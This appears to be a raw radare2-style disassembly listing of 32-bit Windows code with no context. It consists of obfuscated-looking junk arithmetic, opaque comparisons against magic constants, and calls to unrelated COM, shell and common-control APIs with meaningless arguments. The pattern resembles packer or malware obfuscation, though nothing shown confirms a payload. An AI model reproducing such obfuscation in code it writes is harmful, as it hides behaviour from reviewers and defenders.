mov edx, dword [ecx]
sub edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
mov cl, byte [ebp - 0x6ad]
mov byte [ebp - 0x1fe0], cl
cmp byte [ebp - 0x1fe0], 0
je 0x4da2df
cmp byte [ebp - 0x1fe0], 0x14
je 0x4da34d
jmp 0x4da3b5
lea edx, [ebp - 0x8d4]
mov dword [ebp - 0x1edc], edx
mov byte [ebp - 0x1c01], 0x48
lea eax, [ebp - 0x6ad]
mov dword [ebp - 0x1b0], eax
movzx ecx, word [ebp - 0x7c4]
mov edx, dword [ebp - 0x1cb8]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0xc98]
mov word [edx], cx
mov eax, dword [ebp - 0xe24]
mov ecx, dword [eax]
mov dword [ebp - 0x1274], ecx
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0x1108], edx
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x2c8]
add ecx, dword [edx]
mov eax, dword [ebp - 0x1268]
mov dword [eax], ecx
jmp 0x4da3b5
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x9b8]
add edx, dword [eax]
mov dword [ebp - 0x1d08], edx
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4a9]
or edx, eax
mov byte [ebp - 0x1b15], dl
lea ecx, [ebp - 0x1108]
push ecx
push fcn.004d1cd0
mov edx, dword [ebp - 0x127c]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x504], eax
mov dword [ebp - 0xe18], 0x54d1
cmp dword [ebp - 0x1b38], 0x7235
ja 0x4da561
movzx eax, word [ebp - 0x10d8]
mov ecx, dword [ebp - 0xf08]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x7c4], ax
mov edx, dword [ebp - 0x4c4]
xor edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1d08]
shr edx, cl
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x12c]
and ecx, dword [ebp - 0x7a4]
mov edx, dword [ebp - 0x610]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1400]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4a9]
sub eax, ecx
mov byte [ebp - 0x6ad], al
movzx edx, word [ebp - 0x7c4]
mov eax, dword [ebp - 0xf08]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x10d8], dx
mov edx, dword [ebp - 0xaf0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x8d4]
sub eax, ecx
mov edx, dword [ebp - 0x558]
mov word [edx], ax
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1720]
mov edx, dword [ebp - 0x9b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d08]
add eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x9b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x610]
mov eax, dword [ebp - 0x7a4]
add eax, dword [edx]
mov dword [ebp - 0x1108], eax
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1b15]
add edx, eax
mov byte [ebp - 0x4a9], dl
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x7c4]
or edx, eax
mov ecx, dword [ebp - 0xf08]
mov word [ecx], dx
mov edx, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0x18]
shl edx, cl
mov eax, dword [ebp - 0xe24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1400]
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x7a4], eax
mov ecx, dword [ebp - 0x1b38]
add ecx, 0x9a
mov dword [ebp - 0x1b38], ecx
mov edx, dword [ebp - 0x2c8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1108]
sar eax, cl
mov ecx, dword [ebp - 0x1400]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe24]
mov eax, dword [edx]
and eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xe24]
mov dword [ecx], eax
jmp 0x4da3bf
mov edx, dword [ebp - 0x1b0]
mov al, byte [edx]
mov byte [ebp - 0x1b49], al
mov dword [ebp - 0x4a8], 0x3893
mov ecx, dword [ebp - 0x1edc]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x8d4]
sub edx, eax
mov ecx, dword [ebp - 0xaf0]
movsx eax, word [ecx]
mov ecx, dword [ebp - 0x558]
movsx ecx, word [ecx]
sub eax, ecx
cmp edx, eax
jg 0x4ef48e
mov edx, dword [ebp - 0x4c4]
mov dword [ebp - 0x1fe4], edx
cmp dword [ebp - 0x1fe4], 0xbbdb7bbf
je 0x4da5c4
jmp 0x4ef3aa
movzx eax, byte [ebp - 0x1b15]
movzx ecx, byte [ebp - 0x6ad]
sub eax, ecx
mov byte [ebp - 0x1b49], al
mov edx, dword [ebp - 0xf08]
mov ax, word [edx]
mov word [ebp - 0xbe8], ax
mov dword [ebp - 0x54], 0x3620
mov ecx, dword [ebp - 0x7a4]
sub ecx, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x12c]
sub edx, dword [ebp - 0x1108]
cmp ecx, edx
jg 0x4da6f9
mov eax, dword [ebp - 0x870]
mov ecx, dword [ebp - 0x1720]
add ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x1b0]
mov al, byte [edx]
mov byte [ebp - 0x1fe8], al
cmp byte [ebp - 0x1fe8], 0x3d
je 0x4da63e
jmp 0x4da6e5
mov ecx, dword [ebp - 0x1400]
mov edx, dword [ebp - 0x7a4]
add edx, dword [ecx]
mov eax, dword [ebp - 0x610]
mov dword [eax], edx
lea ecx, [ebp - 0x1cb4]
push ecx
lea edx, [ebp - 0xf00]
push edx
lea eax, [ebp - 0x1190]
push eax
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x214], eax
call fcn.004d7e60
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1b49]
and edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
push 0x8a
push 0x94
push 0xa3
mov edx, dword [ebp - 0x23c]
push edx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x13fc], eax
movzx eax, word [ebp - 0x7c4]
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x10d8], ax
mov eax, dword [ebp - 0xa7c]
mov ecx, dword [ebp - 0x1d08]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xe24]
mov dword [edx], ecx
jmp 0x4da6f9
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4c4]
mov dword [ebp - 0x7a4], ecx
mov edx, dword [ebp - 0x1b0]
mov al, byte [edx]
mov byte [ebp - 0x1fec], al
cmp byte [ebp - 0x1fec], 0
je 0x4da722
cmp byte [ebp - 0x1fec], 0x72
je 0x4da816
jmp 0x4da8bb
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ecx]
mov dword [ebp - 0x1ff0], edx
cmp dword [ebp - 0x1ff0], 0x1bf5e4f5
je 0x4da7fb
cmp dword [ebp - 0x1ff0], 0x64a1706e
je 0x4da751
jmp 0x4da811
lea eax, [ebp - 0x1c01]
push eax
call dword [sym.imp.ole32.dll_CoGetCallerTID]
mov dword [ebp - 0x590], eax
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx]
mov dword [ebp - 0x1ff4], edx
cmp dword [ebp - 0x1ff4], 0x34330c1d
je 0x4da780
jmp 0x4da7df
mov eax, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0x7a4]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x1400]
mov dword [eax], edx
mov ecx, dword [ebp - 0xe24]
mov edx, dword [ebp - 0x870]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x1274], eax
movzx ecx, word [ebp - 0xbe8]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
mov eax, dword [ebp - 0x1edc]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x1b0]
mov dl, byte [edx]
mov eax, dword [ebp - 0x1b0]
mov cl, byte [eax]
call fcn.00478870
jmp 0x4da7f9
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x6ad]
shl edx, cl
mov eax, dword [ebp - 0x1b0]
mov byte [eax], dl
jmp 0x4da811
push 0x1d
mov ecx, dword [ebp - 0xd78]
push ecx
mov edx, dword [ebp - 0x1df8]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
jmp 0x4da8bb
movzx eax, word [ebp - 0x10d8]
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xbe8], ax
mov eax, dword [ebp - 0x1268]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1108]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1268]
mov ecx, dword [eax]
mov dword [ebp - 0x1ff8], ecx
cmp dword [ebp - 0x1ff8], 0x6921c88e
je 0x4da861
jmp 0x4da8a5
push 0xa1
lea edx, [ebp - 0x504]
push edx
push 0xcb
lea eax, [ebp - 0x7c4]
push eax
lea ecx, [ebp - 0xaf0]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [ebp - 0x7cc], eax
mov edx, dword [ebp - 0x1108]
push edx
movzx eax, byte [ebp - 0x1b49]
push eax
call fcn.004ef7c0
add esp, 8
jmp 0x4da8bb
mov ecx, dword [ebp - 0x610]
mov edx, dword [ebp - 0x1268]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x7a4], eax
movzx ecx, byte [ebp - 0x4a9]
movzx edx, byte [ebp - 0x1b49]
sub ecx, edx
movzx eax, byte [ebp - 0x6ad]
mov edx, dword [ebp - 0x1b0]
movzx edx, byte [edx]
sub eax, edx
cmp ecx, eax
jle 0x4da9f7
mov eax, dword [ebp - 0xa7c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x214]
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x1274]
cmp ecx, edx
jne 0x4da9e0
movzx eax, word [ebp - 0x7c4]
mov dword [ebp - 0x1ffc], eax
cmp dword [ebp - 0x1ffc], 0xd42
je 0x4da922
jmp 0x4da9c8
movsx ecx, word [ebp - 0x8d4]
mov edx, dword [ebp - 0x1edc]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x558]
mov word [edx], cx
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x1154]
push ecx
push 0x9c
call dword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [ebp - 0xf28], eax
mov edx, dword [ebp - 0x1cb8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xbe8]
and eax, ecx
mov edx, dword [ebp - 0xc98]
mov word [edx], ax
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
mov dword [ebp - 0x2000], ecx
cmp dword [ebp - 0x2000], 0x594e
je 0x4da994
jmp 0x4da9ab
movzx edx, byte [ebp - 0x4a9]
push edx
movzx eax, byte [ebp - 0x1c01]
push eax
call fcn.004d1cd0
jmp 0x4da9c6
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x10d8], dx
jmp 0x4da9e0
movzx edx, byte [ebp - 0x6ad]
movzx ecx, byte [ebp - 0x4a9]
shl edx, cl
mov eax, dword [ebp - 0x1b0]
mov byte [eax], dl
push 1
push 1
lea ecx, [ebp - 0x10d8]
push ecx
call dword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [ebp - 0xf2c], eax
movzx edx, word [ebp - 0x7c4]
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
or edx, ecx
movzx eax, word [ebp - 0xbe8]
mov ecx, dword [ebp - 0xc98]
movzx ecx, word [ecx]
sar eax, cl
cmp edx, eax
jge 0x4daa96
call fcn.004d7e60
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x7c4]
xor eax, ecx
mov edx, dword [ebp - 0x1cb8]
movzx ecx, word [edx]
movzx edx, word [ebp - 0xbe8]
add ecx, edx
cmp eax, ecx
je 0x4daa70
mov eax, dword [ebp - 0x214]
and eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xa7c]
mov dword [ecx], eax
lea edx, [ebp - 0x3fc]
push edx
call dword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [ebp - 0x504], eax
mov eax, dword [ebp - 0xa7c]
mov ecx, dword [ebp - 0x18]
sub ecx, dword [eax]
mov dword [ebp - 0x214], ecx
movzx edx, byte [ebp - 0x1b49]
push edx
movzx eax, byte [ebp - 0x1c01]
push eax
call fcn.004d1cd0
mov ecx, dword [ebp - 0x7a4]
sub ecx, dword [ebp - 0x1108]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x12c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
mov eax, dword [ebp - 0x610]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x4c0]
add ecx, dword [edx]
mov dword [ebp - 0x1108], ecx
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x4a9]
sub ecx, edx
mov eax, dword [ebp - 0x1b0]
mov byte [eax], cl
movzx ecx, word [ebp - 0x10d8]
movzx edx, word [ebp - 0xbe8]
sub ecx, edx
mov word [ebp - 0x7c4], cx
mov eax, dword [ebp - 0xe18]
add eax, 0xa3
mov dword [ebp - 0xe18], eax
mov ecx, dword [ebp - 0xe24]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x870]
add edx, dword [eax]
mov ecx, dword [ebp - 0xa7c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x7a4]
and eax, dword [edx]
mov dword [ebp - 0x4c4], eax
mov edx, dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x1108]
sar edx, cl
mov eax, dword [ebp - 0x610]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1720]
xor ecx, dword [ebp - 0x214]
mov dword [ebp - 0x1274], ecx
movzx edx, word [ebp - 0x7c4]
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0xf08]
mov word [eax], dx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x6ad]
shl edx, cl
mov eax, dword [ebp - 0x1b0]
mov byte [eax], dl
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x558]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x1edc]
mov word [eax], dx
movsx ecx, byte [ebp - 0x1c01]
sub ecx, 0x41
mov byte [ebp - 0x1c01], cl
mov edx, dword [ebp - 0xa7c]
mov eax, dword [ebp - 0xe24]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x1720], ecx
mov edx, dword [ebp - 0x1108]
add edx, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4a9]
sub edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0xf08]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x10d8]
sub eax, ecx
mov word [ebp - 0x7c4], ax
mov edx, dword [ebp - 0x2c8]
mov eax, dword [edx]
add eax, dword [ebp - 0x12c]
mov dword [ebp - 0x1108], eax
mov ecx, dword [ebp - 0x1d08]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x214], ecx
mov edx, dword [ebp - 0x1400]
mov eax, dword [edx]
add eax, dword [ebp - 0x1108]
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0xe18], 0x85d8
jne 0x4daa96
movzx ecx, word [ebp - 0x10d8]
movzx edx, word [ebp - 0x7c4]
add ecx, edx
movzx eax, word [ebp - 0xbe8]
mov edx, dword [ebp - 0x1cb8]
movzx edx, word [edx]
add eax, edx
cmp ecx, eax
je 0x4dad35
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x1400]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x610]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
movsx edx, word [ecx]
mov dword [ebp - 0x2004], edx
cmp dword [ebp - 0x2004], 0x88a
je 0x4dad22
cmp dword [ebp - 0x2004], 0x35b2
je 0x4dacdf
jmp 0x4dad35
movzx eax, word [ebp - 0x10d8]
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x7c4], ax
push 0x58
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x6ad]
or ecx, edx
mov eax, dword [ebp - 0x1b0]
mov byte [eax], cl
jmp 0x4dad35
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1d08]
shl edx, cl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1400]
mov ecx, dword [ebp - 0x7a4]
add ecx, dword [eax]
cmp edx, ecx
jg 0x4dae51
lea edx, [ebp - 0x4c4]
mov dword [ebp - 0x13b0], edx
mov eax, dword [ebp - 0x1108]
sub eax, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x1400]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7a4]
add edx, dword [ebp - 0x4c4]
mov dword [ebp - 0x1108], edx
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
mov dword [ebp - 0x2008], ecx
cmp dword [ebp - 0x2008], 0
je 0x4dada9
jmp 0x4dae3a
mov edx, dword [ebp - 0x1108]
mov dword [ebp - 0x200c], edx
cmp dword [ebp - 0x200c], 0x5e902f4
je 0x4dae1d
cmp dword [ebp - 0x200c], 0xc3baab9
je 0x4dadcf
jmp 0x4dae38
call fcn.004d7e60
mov eax, dword [ebp - 0x13b0]
mov ecx, dword [ebp - 0x12c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2c8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1bc]
push eax
mov ecx, dword [ebp - 0xc00]
push ecx
mov edx, dword [ebp - 0x67c]
push edx
call dword [sym.imp.SHELL32.dll_FindExecutableW]
mov dword [ebp - 0x890], eax
movsx eax, byte [ebp - 0x1c01]
sub eax, 0x7d
mov byte [ebp - 0x1c01], al
jmp 0x4dae38
mov ecx, dword [ebp - 0x1edc]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x8d4]
add edx, eax
mov ecx, dword [ebp - 0x558]
mov word [ecx], dx
jmp 0x4dae4f
lea edx, [ebp - 0xbe8]
push edx
push 0x5e
call dword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [ebp - 0x7cc], eax
jmp 0x4dae6a
mov eax, dword [ebp - 0x4c4]
push eax
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
push edx
call fcn.004ef7c0
add esp, 8
movzx eax, byte [ebp - 0x1b49]
movzx ecx, byte [ebp - 0x6ad]
shl eax, cl
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], al
movzx edx, word [ebp - 0x7c4]
movzx eax, word [ebp - 0x10d8]
xor edx, eax
mov ecx, dword [ebp - 0xc98]
mov word [ecx], dx
mov edx, dword [ebp - 0xe24]
mov eax, dword [edx]
or eax, dword [ebp - 0x214]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x214], edx
movzx eax, word [ebp - 0x10d8]
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x1cb8]
mov word [ecx], ax
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x6ad]
add eax, ecx
mov byte [ebp - 0x4a9], al
mov edx, dword [ebp - 0x1400]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0xa7c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xe24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1268]
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1268]
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x2c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x6ad]
add edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xc98]
mov word [ecx], ax
mov edx, dword [ebp - 0x9b8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1274]
mov ecx, dword [ebp - 0x870]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2c8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1268]
add eax, dword [ecx]
mov dword [ebp - 0x1108], eax
mov edx, dword [ebp - 0x4c0]
mov eax, dword [ebp - 0x1400]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x610]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1edc]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x558]
movsx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0xaf0]
mov word [eax], dx
movzx edx, word [ebp - 0x7c4]
movzx ecx, word [ebp - 0xbe8]
shl edx, cl
mov eax, dword [ebp - 0xf08]
mov word [eax], dx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1b15]
or edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1274]
and edx, dword [ebp - 0x214]
mov eax, dword [ebp - 0xa7c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x12c]
sub ecx, dword [ebp - 0x1108]
mov dword [ebp - 0x7a4], ecx
mov edx, dword [ebp - 0x610]
mov eax, dword [ebp - 0x7a4]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x13b0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d08]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x1720], edx
mov eax, dword [ebp - 0x1400]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x13b0]
add ecx, dword [edx]
mov dword [ebp - 0x12c], ecx
movzx eax, word [ebp - 0x10d8]
movzx ecx, word [ebp - 0xbe8]
sub eax, ecx
mov edx, dword [ebp - 0xf08]
mov word [edx], ax
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x6ad]
and ecx, edx
mov eax, dword [ebp - 0x1b0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0xa7c]
mov ecx, dword [ebp - 0x1d08]
add ecx, dword [eax]
mov edx, dword [ebp - 0xe24]
mov dword [edx], ecx
mov eax, dword [ebp - 0x7a4]
add eax, dword [ebp - 0x12c]
mov dword [ebp - 0x1108], eax
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
movzx ecx, word [ebp - 0x7c4]
movzx edx, word [ebp - 0xbe8]
xor ecx, edx
mov eax, dword [ebp - 0xc98]
mov word [eax], cx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1b15]
or edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4a8]
add edx, 0xc1
mov dword [ebp - 0x4a8], edx
mov eax, dword [ebp - 0x1edc]
movsx edx, word [eax]
mov eax, dword [ebp - 0x558]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x8d4], dx
movsx ecx, byte [ebp - 0x1c01]
and ecx, 0x4f
mov byte [ebp - 0x1c01], cl
mov edx, dword [ebp - 0xe24]
mov eax, dword [ebp - 0x214]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xa7c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4c4]
add edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x1400]
mov dword [eax], edx
movzx ecx, word [ebp - 0xbe8]
movzx edx, word [ebp - 0x7c4]
sub ecx, edx
mov eax, dword [ebp - 0xf08]
mov word [eax], cx
movzx ecx, byte [ebp - 0x4a9]
movzx edx, byte [ebp - 0x6ad]
sub ecx, edx
mov byte [ebp - 0x1b15], cl
mov eax, dword [ebp - 0x870]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1720], ecx
mov edx, dword [ebp - 0x12c]
add edx, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x13b0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x12c]
and ecx, dword [ebp - 0x7a4]
mov edx, dword [ebp - 0x2c8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1720]
sub eax, dword [ebp - 0x214]
mov dword [ebp - 0x1d08], eax
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1b15]
or edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
cmp dword [ebp - 0x4a8], 0x55fa
jb 0x4dae6a
lea edx, [ebp - 0xbe8]
mov dword [ebp - 0x133c], edx
mov eax, dword [ebp - 0x610]
mov edx, dword [ebp - 0x7a4]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x1108], edx
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0xc98]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10d8]
xor edx, eax
movzx eax, word [ebp - 0x7c4]
movzx ecx, word [ebp - 0xbe8]
sar eax, cl
cmp edx, eax
jge 0x4db2f3
push 0xd
lea ecx, [ebp - 0xf00]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetSettings]
mov edx, dword [ebp - 0x1108]
add edx, dword [ebp - 0x7a4]
mov eax, dword [ebp - 0x1400]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1edc]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x8d4], dx
movsx edx, word [ebp - 0x8d4]
mov eax, dword [ebp - 0x558]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x1edc]
mov word [eax], dx
jmp 0x4ef34c
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4a9]
add edx, eax
movzx ecx, byte [ebp - 0x1b49]
movzx eax, byte [ebp - 0x1b15]
and ecx, eax
cmp edx, ecx
jne 0x4ef34c
cmp dword [ebp - 0x54], 0x1f7c
jb 0x4db754
mov ecx, dword [ebp - 0xc98]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x133c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0xf08]
mov word [eax], dx
movzx ecx, byte [ebp - 0x1b15]
movzx edx, byte [ebp - 0x4a9]
sub ecx, edx
mov byte [ebp - 0x6ad], cl
mov eax, dword [ebp - 0x1720]
and eax, dword [ebp - 0x1d08]
mov ecx, dword [ebp - 0xe24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x4c4]
sar edx, cl
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x6ad]
xor edx, eax
mov byte [ebp - 0x1b15], dl
movzx edx, word [ebp - 0xbe8]
movzx ecx, word [ebp - 0x10d8]
shl edx, cl
mov eax, dword [ebp - 0x1cb8]
mov word [eax], dx
